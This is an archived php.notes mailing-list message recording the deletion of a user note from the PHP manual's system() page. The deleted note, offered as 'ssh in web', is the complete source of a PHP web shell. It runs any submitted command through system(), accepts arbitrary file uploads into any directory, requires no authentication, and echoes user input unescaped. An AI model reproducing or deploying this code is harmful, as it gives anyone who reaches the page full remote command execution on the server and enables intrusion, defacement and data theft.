note 83831 deleted from function.system by philip

From: Date: Fri, 13 Jun 2008 21:50:06 +0000
Subject: note 83831 deleted from function.system by philip
References: 1  Groups: php.notes 
Request: Send a blank email to php-notes+get-140422@lists.php.net to get a copy of this message
Note Submitter: gregui at gmail dot com ---- ssh in web: <?php ob_start(); $path = str_replace("\\\\", "\\", $_POST["path"]); $command = $_POST["command"]; if (strlen($path) > 0) { chdir($path); } else { $path = getcwd(); } $out = ""; if (strlen($command) > 0) { if (substr($command,0, 3) == "cd ") { system($command." pwd"); $path = ob_get_contents(); ob_clean(); echo $path; chdir($path); system("ls -l"); $out = ob_get_contents(); ob_clean(); } else { system($command); $out = ob_get_contents(); ob_clean(); } } //upload to current path if (strlen($_FILES["filename"]["name"]) > 0) { move_uploaded_file($_FILES["filename"]["tmp_name"], $path."/".$_FILES["filename"]["name"]); } ?> <html> <body> <form action="#" method="POST" enctype="multipart/form-data"> current path: <input type="text" id="path" name="path" size="80" value="<?=$path?>"/><br/> last command: <strong><?=$command?></strong><br/> <strong>execute:</strong><br/> <input type="text" id="command" name="command" size="100" /> <input type="submit" name="submit" value="execute"/><br/> send to current path:<br/> <input type="file" name="filename" id="filename" /> </form> <textarea cols="90" rows="22"><?=$out?></textarea> </body> </html>

« previous php.notes (#140422) next »